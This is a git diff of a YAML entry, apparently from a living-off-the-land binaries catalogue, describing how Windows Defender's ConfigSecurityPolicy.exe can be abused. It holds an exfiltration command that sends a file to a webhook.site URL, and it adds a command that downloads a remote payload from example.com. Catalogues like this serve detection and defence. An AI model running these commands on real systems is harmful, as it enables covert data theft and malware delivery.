Merge branch 'master' into windows_11_sprint

yml/OSBinaries/ConfigSecurityPolicy.yml

@@ -1,7 +1,7 @@
 ---
 Name: ConfigSecurityPolicy.exe
 Description: Binary part of Windows Defender. Used to manage settings in Windows Defender. you can configure different pilot collections for each of the co-management workloads. Being able to use different pilot collections allows you to take a more granular approach when shifting workloads.
-Author: 'Ialle Teixeira'
+Author: Ialle Teixeira
 Created: 2020-09-04
 Commands:
   - Command: ConfigSecurityPolicy.exe C:\Windows\System32\calc.exe https://webhook.site/xxxxxxxxx?encodedfile
@@ -11,7 +11,15 @@ Commands:
     Privileges: User
     MitreID: T1567
     OperatingSystem: Windows 10
+  - Command: ConfigSecurityPolicy.exe https://example.com/payload
+    Description: It will download a remote payload and place it in the cache folder (for example - %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE)
+    Usecase: Downloads payload from remote server
+    Category: Download
+    Privileges: User
+    MitreID: T1105
+    OperatingSystem: Windows 10, Windows 11
 Full_Path:
+  - Path: C:\Program Files\Windows Defender\ConfigSecurityPolicy.exe
   - Path: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\ConfigSecurityPolicy.exe
 Code_Sample:
   - Code:
@@ -29,3 +37,5 @@ Resources:
 Acknowledgement:
   - Person: Ialle Teixeira
     Handle: '@NtSetDefault'
+  - Person: Nir Chako (Pentera)
+    Handle: '@C_h4ck_0'